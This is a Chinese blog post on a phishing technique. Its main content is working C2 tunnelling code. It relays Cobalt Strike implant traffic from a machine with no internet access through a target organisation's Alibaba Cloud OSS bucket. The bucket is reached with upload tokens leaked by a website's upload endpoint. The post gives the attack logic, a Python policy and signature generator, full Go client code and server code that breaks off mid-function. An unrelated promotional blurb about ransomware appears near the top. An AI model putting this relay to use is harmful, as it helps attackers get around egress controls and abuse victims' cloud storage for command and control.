阿里云oss转发上线-实现不出网钓鱼

关注

原创 2024-11-25 00:20:52 1.4k 阅读 AI 写同款· GEO 优化 ›

阿里云服务器勒索病毒攻防实战：从入侵原理到完整恢复指南勒索病毒是一种通过加密用户文件进行勒索的恶意软件，其核心原理是利用非对称加密算法锁定数据，并以此要挟受害者支付赎金。在云计算时代，云服务器同样面临此类威胁，其技术价值在于通过自动化攻击链对企业核心资产造成毁灭性打击。典型的应用场景包括利用弱口令、软件漏洞入侵云主机，进而加密业务数据。本文聚焦阿里云ECS环境，深入剖析勒索病毒的攻击路径与行为特征，并结合云安全中心的防勒索服务，详解从紧急隔离、取证到基于备份恢复的完整操作流程，特别强调了安全组配置、快照管理与数据库一致性恢复等关键实践，旨在帮助用户构建有效的数阅读详情

本地实现阿里云oss转发上线，全部代码在文末，代码存在冗余

实战环境
被钓鱼机器不出网只可访问内部网络包含集团oss
实战思路
若将我们的shellcode文件上传到集团oss上仍无法上线，那么就利用oss做中转使用本地转发进行上线，先发送一个本地监听木马到钓鱼机器，再发送一个client，也就是agent到钓鱼机器，当然可以将两个写成一块发送给钓鱼受害者，server端从oss读取到数据转发至cs监听端口
具体逻辑
1.根据网站oss的上传接口，获得上传成功的返回包（通常包含泄露的oss的token，上传成功的路径及其文件名）
2.我们将返回包的json全部复制到本地为新的json文件，命名为server.json和client.json
3.server端实现上传该json文件到目标oss存储桶
4.client端下载该json文件到钓鱼机器
5.client端通过读取下载的json文件获得相应上传路径，token，进行组合实现上传本地木马127.0.0.1:17777监听的请求数据到oss文件
6.server端下载读取oss文件的数据转发到cs木马x.x.x.x:17777监听端口
7.server端上传cs返回的数据到oss文件
8.client端下载读取oss文件内容到本地木马监听端口实现木马闭环
server和client都是持续开着的并且循环进行上传下载读取功能

本地为方便演示我们使用服务器下载json文件，提取json文件中的关键信息，进行上传

首先准备好阿里云oss的SDK
https://help.aliyun.com/zh/oss/developer-reference/go-installation?spm= 在这里插入图片描述
那么通过实际情况，一般上传接口是有oss的token
生成policy和signature

import os
from hashlib import sha1 as sha
import json
import base64
import hmac
import datetime
import time

# 配置环境变量OSS_ACCESS_KEY_ID。
access_key_id = 'xxxxxxx'
# 配置环境变量OSS_ACCESS_KEY_SECRET。
access_key_secret = 'xxxxxxxxxxxx'
# 将<YOUR_BUCKET>替换为Bucket名称。
bucket = 'xxxx'
# host的格式为bucketname.endpoint。将<YOUR_BUCKET>替换为Bucket名称。将<YOUR_ENDPOINT>替换为OSS Endpoint，例如oss-cn-hangzhou.aliyuncs.com。
host = 'https://xxxx.oss-cn-shanghai.aliyuncs.com'
# 指定上传到OSS的文件前缀。
upload_dir = '1029/ff.txt'
# 指定过期时间，单位为秒。
expire_time = 14400


def generate_expiration(seconds):
    """
    通过指定有效的时长（秒）生成过期时间。
    :param seconds: 有效时长（秒）。
    :return: ISO8601 时间字符串，如："2014-12-01T12:00:00.000Z"。
    """
    now = int(time.time())
    expiration_time = now + seconds
    gmt = datetime.datetime.utcfromtimestamp(expiration_time).isoformat()
    gmt += 'Z'
    return gmt


def generate_signature(access_key_secret, expiration, conditions, policy_extra_props=None):
    """
    生成签名字符串Signature。
    :param access_key_secret: 有权限访问目标Bucket的AccessKeySecret。
    :param expiration: 签名过期时间，按照ISO8601标准表示，并需要使用UTC时间，格式为yyyy-MM-ddTHH:mm:ssZ。示例值："2014-12-01T12:00:00.000Z"。
    :param conditions: 策略条件，用于限制上传表单时允许设置的值。
    :param policy_extra_props: 额外的policy参数，后续如果policy新增参数支持，可以在通过dict传入额外的参数。
    :return: signature，签名字符串。
    """
    policy_dict = {
        'expiration': expiration,
        'conditions': conditions
    }
    if policy_extra_props is not None:
        policy_dict.update(policy_extra_props)
    policy = json.dumps(policy_dict).strip()
    policy_encode = base64.b64encode(policy.encode())
    h = hmac.new(access_key_secret.encode(), policy_encode, sha)
    sign_result = base64.b64encode(h.digest()).strip()
    return sign_result.decode()

def generate_upload_params():
    policy = {
        # 有效期。
        "expiration": generate_expiration(expire_time),
        # 约束条件。
        "conditions": [
            # 未指定success_action_redirect时，上传成功后的返回状态码，默认为 204。
            ["eq", "$success_action_status", "200"],
            # 表单域的值必须以指定前缀开始。例如指定key的值以user/user1开始，则可以写为["starts-with", "$key", "user/user1"]。
            ["starts-with", "$key", upload_dir],
            # 限制上传Object的最小和最大允许大小，单位为字节。
            ["content-length-range", 1, 1000000],
            # 限制上传的文件为指定的图片类型
            ["in", "$content-type", ["image/jpg", "image/png","text/plain","application/octet-stream"]]
        ]
    }
    signature = generate_signature(access_key_secret, policy.get('expiration'), policy.get('conditions'))
    response = {
        'policy': base64.b64encode(json.dumps(policy).encode('utf-8')).decode(),
        'ossAccessKeyId': access_key_id,
        'signature': signature,
        'host': host,
        'dir': upload_dir
        # 可以在这里再自行追加其他参数
    }
    print(json.dumps(response))
    return json.dumps(response)

if __name__ == '__main__':
    generate_upload_params();

这样就可以使用policy和signature
这里key不能只写1029/这样的路径，后面要加文件名才能成功上传
1029/ff.txt这种，我们先手动上传试试
在这里插入图片描述

可以看到上传成功，然后使用go写的客户端试试上传

在这里插入图片描述
客户端成功上传文件到oss，并且我们的上传是循环的，

上传的内容为
在这里插入图片描述
从oss下载之后，可以看到文件名字是policy.txt，这是从阿里云oss下载的文件名字（也就是Content-Disposition），但存储桶上是ff.txt的名字（也就是key）
目前客户端上传功能成功，然后写客户端下载功能，服务端的代码和客户端一样除了客户端要监听127.0.0.1:17777，服务器要发送到cs的ip:17777，这样就可以了，

当完成客户端上传下载，服务端下载功能时候收到请求上线如下
在这里插入图片描述
可以看到请求转发过来了（此时只是先客户端上传监听到的数据到oss，然后服务端下载到本地转发到cs服务器），那么我们需要完成服务端上传的功能，以至于cs的返回包上传到oss上，供客户端读取

可以看到server端的上传包（也就是上传的cs返回的包）
此时的问题是client和server的上传文件有冲突问题，client上传太快了，server会oss检测当前文件的内容和之前的内容是否一致，client传的太快会让server认为和上一个内容一样，所以就不上传返回包请求了，在这里插入图片描述
可以看到ipconfig也可以
但是这个有个bug，就是运行client运行中间卡住了

最终方案，client端上传之后等待60秒，server端上传之后等待30秒，
最终代码：
client.go

package main

import (
    "bytes"
    "fmt"
    "log"
    "os"
    "path/filepath"
    "net"
    "net/http"
    "io"
    "io/ioutil"
    "encoding/json"
    "mime/multipart"
    "strings"
    "net/url"
    "time"
    "strconv"
    "encoding/base64"
    "sync"
    
    
    "github.com/google/uuid"
)

var ClientUploadData *UploadData

var previousContent string


// 定义结构体：File 结构体
type UploadData struct {
    Key                  string `json:"key"`
    SuccessActionStatus  string `json:"success_action_status"`
    ContentDisposition   string `json:"Content-Disposition"`
    XOssMetaUUID         string `json:"x-oss-meta-uuid"`
    XOssMetaTag          string `json:"x-oss-meta-tag"`
    OSSAccessKeyID       string `json:"OSSAccessKeyId"`
    Policy               string `json:"policy"`
    Signature            string `json:"Signature"`
    ActionURL            string `json:"action"`
    FileName             string `json:"file.filename"`
    FileContentType      string `json:"file.content_type"`
    FileContent          string `json:"file.content"`
}

type UploadTokenResponse struct {
    Success    interface{} `json:"success"`
    UploadData UploadData  `json:"uploadData"`
    Error      interface{} `json:"error"`
}





func startClient(bind_address string) {
    log.Println("[+]", "客户端启动成功")

    server, err := net.Listen("tcp", bind_address)
    if err != nil {
        log.Fatalln("[x]", "listen address ["+bind_address+"] failed.")
    }
    for {
        conn, err := server.Accept()
        if err != nil {
            log.Println("Accept() failed, err: ", err)
            continue
        }
        log.Println("[+]", "有客户进入：", conn.RemoteAddr())
        go process(conn)
        
    }
}

func Get(filename string) []byte {
    programDir, err := getProgramDirectory()
    if err != nil {
        log.Println("获取程序目录失败：", err)
        return nil
    }

    configFilePath := filepath.Join(programDir, filename)
    log.Println("程序目录：", programDir)
    log.Println("文件路径：", configFilePath)
    jsondate, err := readUploadTokenFromFile(configFilePath)
    if err != nil {
        log.Println("读取或解析JSON文件失败：", err)
        return nil
    }
    fileURL := jsondate.ActionURL + "/" + jsondate.Key
    log.Println("Get.fileURL：", fileURL)
    fmt.Println(fileURL)
    resp, err := http.Get(fileURL)
    if err != nil {
        log.Println("读取文件内容失败：", err)
        return nil
    }
    defer resp.Body.Close()

    content, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        log.Println("读取响应体失败：", err)
        return nil
    }
    log.Println("客户端下载读到的内容：", content)
    decodedContent, err := base64.StdEncoding.DecodeString(string(content))
    if err != nil {
        log.Println("Base64解码失败：", err)
        return nil
    }

    // 输出字符串内容
    log.Println("客户端下载读到的内容base64：", string(decodedContent))
    return content
}

func renameFile(oldPath, newPath string) error {
    err := os.Rename(oldPath, newPath)
    if err != nil {
        return fmt.Errorf("无法重命名文件 %s 为 %s: %v", oldPath, newPath, err)
    }
    log.Printf("[+] 文件 %s 重命名为 %s", oldPath, newPath)
    return nil
}


func saveToFile(filename, content string) {
    err := os.WriteFile(filename, []byte(content), 0644)
    if err != nil {
        log.Println("[x]", "保存文件失败:", err)
    }
}

func getProgramDir() string {
    dir, err := os.Getwd()
    if err != nil {
        log.Println("[x]", "获取程序运行目录失败:", err)
        return "./"
    }
    return dir + "/"
}

func FileExists(filePath string) bool {
    _, err := os.Stat(filePath)
    return err == nil
}

func processContentAndSave(currentContent string) {
    var fileName string

    if strings.Contains(currentContent, "client") {
        fileName = getProgramDir() + "Send-Client11.json"
        log.Println("[+]", "判断是否存在 client 文件")

    } else if strings.Contains(currentContent, "server") {
        fileName = getProgramDir() + "Send-Server11.json"
        log.Println("[+]", "判断是否存在 server 文件")

    } else {
        log.Println("[-]", "内容既不包含 client 也不包含 server，跳过处理")
        return
    }

    log.Println("[+]", "文件名:", fileName)

    if _, err := os.Stat(fileName); os.IsNotExist(err) {
        saveToFile(fileName, string(currentContent))
        log.Println("[+]", "文件不存在，已保存为:", fileName)
    } else if err == nil {
        log.Println("[+]", "文件已存在，跳过保存:", fileName)
    } else {
        log.Println("[-]", "检查文件时发生错误:", err)
    }
}

func Getfile(filename string) (string, error) {
    defer func() {
        if r := recover(); r != nil {
            log.Printf("捕获异常：%v", r)
        }
    }()

    programDir, err := getProgramDirectory()
    if err != nil {
        return "", fmt.Errorf("failed to get program directory: %v", err)
    }

    configFilePath := filepath.Join(programDir, filename)

    jsondate, err := readUploadTokenFromFile(configFilePath)
    if err != nil {
        log.Println("读取或解析JSON文件失败：", err)
        return "", err
    }
    fileURL := jsondate.ActionURL + "/" + jsondate.Key
    log.Println("Getfile.fileURL:",fileURL)
    resp, err := http.Get(fileURL)
    if err != nil {
        log.Println("读取文件内容失败：", err)
        return "", err
    }
    defer resp.Body.Close()

    return fileURL, nil
}

func fetchFileContent(url string) (string, error) {
    resp, err := http.Get(url)
    if err != nil {
        return "", err
    }
    defer resp.Body.Close()

    body, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        return "", err
    }

    return string(body), nil
}


/*func uploadFile(UploadData UploadData, filename string, fileContent string) (string, error) {
    body := &bytes.Buffer{}
    writer := multipart.NewWriter(body)

    for key, value := range UploadData.Data {
        writer.WriteField(key, value)
    }

    fileReader := strings.NewReader(fileContent)
    part, err := writer.CreateFormFile(UploadData.Name, filename)
    if err != nil {
        return "", err
    }

    _, err = io.Copy(part, fileReader)
    if err != nil {
        return "", err
    }

    writer.Close()

    req, err := http.NewRequest("POST", UploadData.ActionURL, body)
    if err != nil {
        return "", err
    }
    req.Header.Set("Content-Type", writer.FormDataContentType())

    client := &http.Client{}
    resp, err := client.Do(req)
    if err != nil {
        return "", err
    }
    defer resp.Body.Close()

    location := resp.Header.Get("Location")
    if location == "" {
        fmt.Println("No location URL found in response headers.")
    }

    return location, nil
}*/

func logRequest(req *http.Request) {
    log.Println("Request Method:", req.Method)
    log.Println("Request URL:", req.URL.String())
    log.Println("Request Headers:")
    for key, values := range req.Header {
        for _, value := range values {
            log.Printf("  %s: %s\n", key, value)
        }
    }

    // 打印请求体内容
    bodyBytes, err := io.ReadAll(req.Body)
    if err != nil {
        log.Println("Error reading request body:", err)
        return
    }
    req.Body = io.NopCloser(bytes.NewBuffer(bodyBytes)) // 恢复请求体
    log.Println("Request Body:", string(bodyBytes))
}


func uploadFile(data UploadData, filename string, fileContent string) (string, error) {
    body := &bytes.Buffer{}
    writer := multipart.NewWriter(body)

    // Write fields directly from UploadData struct
    writer.WriteField("key", data.Key)
    writer.WriteField("success_action_status", data.SuccessActionStatus)
    writer.WriteField("Content-Disposition", data.ContentDisposition)
    writer.WriteField("x-oss-meta-uuid", data.XOssMetaUUID)
    writer.WriteField("x-oss-meta-tag", data.XOssMetaTag)
    writer.WriteField("OSSAccessKeyId", data.OSSAccessKeyID)
    writer.WriteField("policy", data.Policy)
    writer.WriteField("Signature", data.Signature)


    // Create form file part for file content
    fileReader := strings.NewReader(fileContent)
    part, err := writer.CreateFormFile("file", filename)
    if err != nil {
        return "", err
    }
    

    _, err = io.Copy(part, fileReader)
    if err != nil {
        return "", err
    }

    writer.Close()

    // Create and send request

    req, err := http.NewRequest("POST", data.ActionURL, body)
    //req, err := http.NewRequest("POST", "https://xxxx.oss-cn-shanghai.aliyuncs.com", body)
    if err != nil {
        return "", err
    }
    req.Header.Set("Content-Type", writer.FormDataContentType())
    logRequest(req)
    //client := &http.Client{}
    proxyURL, _ := url.Parse("http://127.0.0.1:8083")
     if err != nil {
        return "", fmt.Errorf("invalid proxy URL: %v", err)
    }
    client := &http.Client{
        Transport: &http.Transport{
            Proxy: http.ProxyURL(proxyURL),
        },
    }
    resp, err := client.Do(req)
    if err != nil {
        return "", err
    }
    defer resp.Body.Close()
    
    location := resp.Header.Get("Location")
    if location == "" {
        fmt.Println("No location URL found in response headers.")
    }

    return location, nil
}



func findErrorLine(data []byte, offset int64) (line int, col int) {
    line = 1
    col = 1
    for i := int64(0); i < offset; i++ {
        if data[i] == '\n' {
            line++
            col = 1
        } else {
            col++
        }
    }
    return
}


/*func parseUploadToken(jsonData []byte) (UploadData, error) {
    var tokenResponse UploadTokenResponse
    err := json.Unmarshal(jsonData, &tokenResponse)
    if err != nil {
        return UploadData{}, fmt.Errorf("Error unmarshaling JSON: %v", err)
    }

    // 如果 tokenResponse.Result.UploadData.Data 本身已经是 map[string]string，直接返回
    return tokenResponse.UploadData, nil
}*/

func parseUploadToken(jsonData []byte) (UploadData, error) {
//    var tokenResponse UploadTokenResponse
    var uploadData UploadData
    err := json.Unmarshal(jsonData, &uploadData)
    if err != nil {
        return UploadData{}, fmt.Errorf("Error unmarshaling JSON: %v", err)
    }

    // 如果 tokenResponse.Result.UploadData.Data 本身已经是 map[string]string，直接返回
    log.Println("parseUploadToken.UploadData",uploadData)
    return uploadData, nil
}






func getProgramDirectory() (string, error) {
    execPath, err := os.Executable()
    if err != nil {
        return "", err
    }
    return filepath.Dir(execPath), nil
}

func readUploadTokenFromFile(filename string) (UploadData, error) {
    programDir, err := getProgramDirectory()
    if err != nil {
        return UploadData{}, fmt.Errorf("failed to get program directory: %v", err)
    }

    filename = filepath.Base(filename)
    configFilePath := filepath.Join(programDir, filename)

    data, err := ioutil.ReadFile(configFilePath)
    if err != nil {
        return UploadData{}, fmt.Errorf("failed to read file %s: %v", configFilePath, err)
    }

    uploadData, err := parseUploadToken(data)
    if err != nil {
        return UploadData{}, fmt.Errorf("failed to parse JSON from file %s: %v", configFilePath, err)
    }

    return uploadData, nil
}


func Send(name string, filename string, content string) {
    UploadData, err := readUploadTokenFromFile(name)
    if err != nil {
        fmt.Println("Error reading or parsing JSON from file:", err)
        return
    }

    _, err = uploadFile(UploadData, filename, content)
    if err != nil {
        log.Println("文件上传失败：", err)
        return
    }
}

var fileLock sync.Mutex // 定义一个文件锁


func process(conn net.Conn) {
    defer func() {
        if r := recover(); r != nil {
            log.Printf("捕获异常：%v", r)
        }
    }()

    uuid := uuid.New()
    key := uuid.String()
    defer conn.Close()
    var buffer bytes.Buffer
    _ = conn.SetReadDeadline(time.Now().Add(10 * time.Second))
    for {
        var buf [1]byte
        n, err := conn.Read(buf[:])
        if err != nil {
            log.Println("[-]", uuid, "read from connect failed, err：", err)
            break
        }
        buffer.Write(buf[:n])
        if strings.Contains(buffer.String(), "\r\n\r\n") {
            if strings.Contains(buffer.String(), "Content-Length") {
                ContentLength := buffer.String()[strings.Index(buffer.String(), "Content-Length: ")+len("Content-Length: ") : strings.Index(buffer.String(), "Content-Length: ")+strings.Index(buffer.String()[strings.Index(buffer.String(), "Content-Length: "):], "\n")]
                log.Println("[+]", uuid, "数据包长度为：", strings.TrimSpace(ContentLength))
                if strings.TrimSpace(ContentLength) != "0" {
                    intContentLength, err := strconv.Atoi(strings.TrimSpace(ContentLength))
                    if err != nil {
                        log.Println("[-]", uuid, "Content-Length转换失败")
                    }
                    for i := 1; i <= intContentLength; i++ {
                        var b [1]byte
                        n, err = conn.Read(b[:])
                        if err != nil {
                            log.Println("[-]", uuid, "read from connect failed, err", err)
                            break
                        }
                        buffer.Write(b[:n])
                    }
                }
            }
            if strings.Contains(buffer.String(), "Transfer-Encoding: chunked") {
                for {
                    var b [1]byte
                    n, err = conn.Read(b[:])
                    if err != nil {
                        log.Println("[-]", uuid, "read from connect failed, err", err)
                        break
                    }
                    buffer.Write(b[:n])
                    if strings.Contains(buffer.String(), "0\r\n\r\n") {
                        break
                    }
                }
            }
            log.Println("[+]", uuid, "从客户端接受HTTP头完毕")
            break
        }
    }
    b64 := base64.StdEncoding.EncodeToString(buffer.Bytes())
    Send("Send-Client.json", key+"client.zip", b64)
    log.Println("[+]发送成功")

    log.Println("文件上传完成，暂停60秒...")
    time.Sleep(60 * time.Second) // Pause for 60 seconds

    
    i := 1

    for {
        i++
        time.Sleep(1 * time.Second)
        if i >= 10 {
            log.Println("[x]", "超时，断开")
            return
        }

        clientURL, err := Getfile("Send-Server.json")
        if err != nil {
            log.Println("[-]", "获取服务器文件失败：", err)
            return
        }
        log.Println("[-]", "process.clientURL:", clientURL)
        currentContent, err := fetchFileContent(clientURL)
        if err != nil {
            log.Println("[-]", "获取客户端文件失败:", err)
            return
        }


        if strings.TrimSpace(currentContent) != strings.TrimSpace(previousContent) {
            /*if strings.HasPrefix(currentContent, `{"success`) {
                processContentAndSave(currentContent)
                if FileExists(getProgramDir()+"Send-Server11.json") && FileExists(getProgramDir()+"Send-Client11.json") {
                    clientNewPath := getProgramDir() + "Send-Client.json"
                    os.Remove(clientNewPath)
                    err = renameFile(getProgramDir()+"Send-Client11.json", clientNewPath)
                    if err != nil {
                        log.Fatalf("重命名 server 文件时发生错误: %v", err)
                    }
                    os.Remove(getProgramDir() + "Send-Client11.json")
                    time.Sleep(5 * time.Second)
                    serverNewPath := getProgramDir() + "Send-Server.json"
                    os.Remove(serverNewPath)
                    err = renameFile(getProgramDir()+"Send-Server11.json", serverNewPath)
                    if err != nil {
                        log.Fatalf("重命名 server 文件时发生错误: %v", err)
                    }
                    os.Remove(getProgramDir() + "Send-Server11.json")
                }
            }*/
            log.Println("[+]", "文件内容不一致，开始处理")

            previousContent = currentContent
            buff := Get("Send-Server.json")
            if buff != nil {
                log.Println("[x]", uuid, "收到服务器消息")
                time.Sleep(1 * time.Second)
                sDec, err := base64.StdEncoding.DecodeString(string(buff))
                if err != nil {
                    log.Println("[x]", uuid, "Base64解码错误")
                    return
                }
                conn.Write(sDec)
                break
            }
        } else {
            log.Println("[+]", "文件内容一致，无需处理")
            previousContent = currentContent
            buff := Get("Send-Server.json")
            if buff != nil {
                log.Println("[x]", uuid, "收到服务器消息")
                time.Sleep(1 * time.Second)
                sDec, err := base64.StdEncoding.DecodeString(string(buff))
                if err != nil {
                    log.Println("[x]", uuid, "Base64解码错误")
                    return
                }
                conn.Write(sDec)
                break
            return
        }
    }
    }
    log.Println("[+]", "发送完成")
}

func checkURLStatus(url string) bool {
    resp, err := http.Head(url)
    if err != nil {
        fmt.Printf("检查 URL 失败: %v\n", err)
        return false
    }
    defer resp.Body.Close()

    if resp.StatusCode == http.StatusOK {
        return true
    }
    fmt.Printf("URL %s 返回状态码: %d\n", url, resp.StatusCode)
    return false
}

func waitForNextHalfHour() {
    now := time.Now()
    next := now.Truncate(30 * time.Minute).Add(30 * time.Minute)
    duration := next.Sub(now)

    fmt.Printf("等待 %v 到下一个下载时间...\n", duration)
    time.Sleep(duration)
}

func downloadFile(filepath string, url string) error {
    resp, err := http.Get(url)
    if err != nil {
        return err
    }
    defer resp.Body.Close()

    out, err := os.Create(filepath)
    if err != nil {
        return err
    }
    defer out.Close()

    _, err = io.Copy(out, resp.Body)
    return err
}

func safeDownloadFile(filepath string, url string) error {
    tempFilepath := filepath + ".tmp"

    err := downloadFile(tempFilepath, url)
    if err != nil {
        return fmt.Errorf("下载失败: %w", err)
    }

    err = os.Rename(tempFilepath, filepath)
    if err != nil {
        return fmt.Errorf("替换文件失败: %w", err)
    }

    return nil
}

func timedownload() {
    execPath, err := os.Executable()
    if err != nil {
        fmt.Printf("获取程序路径失败: %v\n", err)
        return
    }
    execDir := filepath.Dir(execPath)

    filepath1 := filepath.Join(execDir, "Send-Client.json")
    filepath2 := filepath.Join(execDir, "Send-Server.json")
    
    url1 := "http://xxxxx:xx/Send-Client.json"
    url2 := "http://xxxxx:xx/Send-Server.json"
    
    fmt.Printf("检查文件1：%s\n", url1)
    if checkURLStatus(url1) {
        err = safeDownloadFile(filepath1, url1)
        if err != nil {
            fmt.Printf("下载失败: %v\n", err)
        } else {
            fmt.Println("下载成功")
        }
    } else {
        fmt.Println("URL不可用，跳过下载：", url1)
    }

    fmt.Printf("检查文件2：%s\n", url2)
    if checkURLStatus(url2) {
        err = safeDownloadFile(filepath2, url2)
        if err != nil {
            fmt.Printf("下载失败: %v\n", err)
        } else {
            fmt.Println("下载成功")
        }
    } else {
        fmt.Println("URL不可用，跳过下载：", url2)
    }

    for {
        waitForNextHalfHour()

        fmt.Printf("检查文件1：%s\n", url1)
        if checkURLStatus(url1) {
            err = safeDownloadFile(filepath1, url1)
            if err != nil {
                fmt.Printf("下载失败: %v\n", err)
            } else {
                fmt.Println("下载成功")
            }
        } else {
            fmt.Println("URL不可用，跳过下载：", url1)
        }

        fmt.Printf("检查文件2：%s\n", url2)
        if checkURLStatus(url2) {
            err = safeDownloadFile(filepath2, url2)
            if err != nil {
                fmt.Printf("下载失败: %v\n", err)
            } else {
                fmt.Println("下载成功")
            }
        } else {
            fmt.Println("URL不可用，跳过下载：", url2)
        }
    }

}


func main() {

    go timedownload()
    bind_address := "127.0.0.1:17777"
    startClient(bind_address)

}

server.go

package main

import (
    "bytes"
	"fmt"
	"log"
	"os"
	"path/filepath"
	"net"
	"net/http"
	"io"
	"io/ioutil"
	"encoding/json"
	"mime/multipart"
	"strings"
	"net/url"
	"time"
	"strconv"
	"encoding/base64"
	"sync"

)

var ClientUploadData *UploadData

var previousContent string  // 存储上一次文件内容


// 定义结构体：File 结构体
type UploadData struct {
	Key                  string `json:"key"`
	SuccessActionStatus  string `json:"success_action_status"`
	ContentDisposition   string `json:"Content-Disposition"`
	XOssMetaUUID         string `json:"x-oss-meta-uuid"`
	XOssMetaTag          string `json:"x-oss-meta-tag"`
	OSSAccessKeyID       string `json:"OSSAccessKeyId"`
	Policy               string `json:"policy"`
	Signature            string `json:"Signature"`
	ActionURL            string `json:"action"`
	FileName             string `json:"file.filename"`
	FileContentType      string `json:"file.content_type"`
	FileContent          string `json:"file.content"`
}

type UploadTokenResponse struct {
	Success    interface{} `json:"success"`
	UploadData UploadData  `json:"uploadData"`
	Error      interface{} `json:"error"`
}





func Get(filename string) []byte {
	programDir, err := getProgramDirectory()
	if err != nil {
		log.Println("获取程序目录失败：", err)
		return nil
	}

	configFilePath := filepath.Join(programDir, filename)
	log.Println("程序目录：", programDir)
	log.Println("文件路径：", configFilePath)
	jsondate, err := readUploadTokenFromFile(configFilePath)
	log.Println("jsondate:",jsondate)
	if err != nil {
		log.Println("读取或解析JSON文件失败：", err)
		return nil
	}
	fileURL := jsondate.ActionURL + "/" + jsondate.Key
	fmt.Println(fileURL)
	resp, err := http.Get(fileURL)
	if err != nil {
		log.Println("读取文件内容失败：", err)
		return nil
	}
	defer resp.Body.Close()

	content, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		log.Println("读取响应体失败：", err)
		return nil
	}
	log.Println("内容：", content)
	return content
}

func renameFile(oldPath, newPath string) error {
	err := os.Rename(oldPath, newPath)
	if err != nil {
		return fmt.Errorf("无法重命名文件 %s 为 %s: %v", oldPath, newPath, err)
	}
	log.Printf("[+] 文件 %s 重命名为 %s", oldPath, newPath)
	return nil
}


func saveToFile(filename, content string) {
	err := os.WriteFile(filename, []byte(content), 0644)
	if err != nil {
		log.Println("[x]", "保存文件失败:", err)
	}
}

func getProgramDir() string {
	dir, err := os.Getwd()
	if err != nil {
		log.Println("[x]", "获取程序运行目录失败:", err)
		return "./"
	}
	return dir + "/"
}

func FileExists(filePath string) bool {
	_, err := os.Stat(filePath)
	return err == nil
}

func processContentAndSave(currentContent string) {
	var fileName string

	if strings.Contains(currentContent, "client") {
		fileName = getProgramDir() + "Send-Client11.json"
		log.Println("[+]", "判断是否存在 client 文件")

	} else if strings.Contains(currentContent, "server") {
		fileName = getProgramDir() + "Send-Server11.json"
		log.Println("[+]", "判断是否存在 server 文件")

	} else {
		log.Println("[-]", "内容既不包含 client 也不包含 server，跳过处理")
		return
	}

	log.Println("[+]", "文件名:", fileName)

	if _, err := os.Stat(fileName); os.IsNotExist(err) {
		saveToFile(fileName, string(currentContent))
		log.Println("[+]", "文件不存在，已保存为:", fileName)
	} else if err == nil {
		log.Println("[+]", "文件已存在，跳过保存:", fileName)
	} else {
		log.Println("[-]", "检查文件时发生错误:", err)
	}
}



func Getfile(filename string) (string, error) {
	defer func() {
		if r := recover(); r != nil {
			log.Printf("捕获异常：%v", r)
		}
	}()

	programDir, err := getProgramDirectory()
	log.Println("programDir：", programDir)
	if err != nil {
		return "", fmt.Errorf("failed to get program directory: %v", err)
	}

	configFilePath := filepath.Join(programDir, filename)
	log.Println("configFilePath：", configFilePath)
	jsondate, err := readUploadTokenFromFile(configFilePath)
	if err != nil {
		log.Println("读取或解析JSON文件失败：", err)
		return "", err
	}
	fileURL := jsondate.ActionURL + "/" + jsondate.Key
	log.Println("fileURL：", fileURL)
	resp, err := http.Get(fileURL)
	if err != nil {
		log.Println("读取文件内容失败：", err)
		return "", err
	}
	defer resp.Body.Close()

	return fileURL, nil
}

func fetchFileContent(url string) (string, error) {
	resp, err := http.Get(url)
	if err != nil {
		return "", err
	}
	defer resp.Body.Close()

	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		return "", err
	}
	log.Println(string(body))
	return string(body), nil
}


/*func uploadFile(UploadData UploadData, filename string, fileContent string) (string, error) {
	body := &bytes.Buffer{}
	writer := multipart.NewWriter(body)

	for key, value := range UploadData.Data {
		writer.WriteField(key, value)
	}

	fileReader := strings.NewReader(fileContent)
	part, err := writer.CreateFormFile(UploadData.Name, filename)
	if err != nil {
		return "", err
	}

	_, err = io.Copy(part, fileReader)
	if err != nil {
		return "", err
	}

	writer.Close()

	req, err := http.NewRequest("POST", UploadData.ActionURL, body)
	if err != nil {
		return "", err
	}
	req.Header.Set("Content-Type", writer.FormDataContentType())

	client := &http.Client{}
	resp, err := client.Do(req)
	if err != nil {
		return "", err
	}
	defer resp.Body.Close()

	location := resp.Header.Get("Location")
	if location == "" {
		fmt.Println("No location URL found in response headers.")
	}

	return location, nil
}*/

func logRequest(req *http.Request) {
	log.Println("Request Method:", req.Method)
	log.Println("Request URL:", req.URL.String())
	log.Println("Request Headers:")
	for key, values := range req.Header {
		for _, value := range values {
			log.Printf("  %s: %s\n", key, value)
		}
	}

	// 打印请求体内容
	bodyBytes, err := io.ReadAll(req.Body)
	if err != nil {
		log.Println("Error reading request body:", err)
		return
	}
	req.Body = io.NopCloser(bytes.NewBuffer(bodyBytes)) // 恢复请求体
	log.Println("Request Body:", string(bodyBytes))
}


func uploadFile(data UploadData, filename string, fileContent string) (string, error) {
	body := &bytes.Buffer{}
	writer := multipart.NewWriter(body)

	// Write fields directly from UploadData struct
	writer.WriteField("key", data.Key)
	writer.WriteField("success_action_status", data.SuccessActionStatus)
	writer.WriteField("Content-Disposition", data.ContentDisposition)
	writer.WriteField("x-oss-meta-uuid", data.XOssMetaUUID)
	writer.WriteField("x-oss-meta-tag", data.XOssMetaTag)
	writer.WriteField("OSSAccessKeyId", data.OSSAccessKeyID)
	writer.WriteField("policy", data.Policy)
	writer.WriteField("Signature", data.Signature)


	// Create form file part for file content
	fileReader := strings.NewReader(fileContent)
	part, err := writer.CreateFormFile("file", filename)
	if err != nil {
		return "", err
	}
	

	_, err = io.Copy(part, fileReader)
	if err != nil {
		return "", err
	}

	writer.Close()

	// Create and send request

	req, err := http.NewRequest("POST", data.ActionURL, body)
	//req, err := http.NewRequest("POST", "https://xxx.oss-cn-shanghai.aliyuncs.com", body)
	if err != nil {
		return "", err
	}
	req.Header.Set("Content-Type", writer.FormDataContentType())
	logRequest(req)
	//client := &http.Client{}
	proxyURL, _ := url.Parse("http://127.0.0.1:8083")
	 if err != nil {
        return "", fmt.Errorf("invalid proxy URL: %v", err)
    }
	client := &http.Client{
		Transport: &http.Transport{
			Proxy: http.ProxyURL(proxyURL),
		},
	}
	resp, err := client.Do(req)
	if err != nil {
		return "", err
	}
	defer resp.Body.Close()
	
	location := resp.Header.Get("Location")
	if location == "" {
		fmt.Println("No location URL found in response headers.")
	}

	return location, nil
}



func findErrorLine(data []byte, offset int64) (line int, col int) {
	line = 1
	col = 1
	for i := int64(0); i < offset; i++ {
		if data[i] == '\n' {
			line++
			col = 1
		} else {
			col++
		}
	}
	return
}


func parseUploadToken(jsonData []byte) (UploadData, error) {
//	var tokenResponse UploadTokenResponse
	var uploadData UploadData
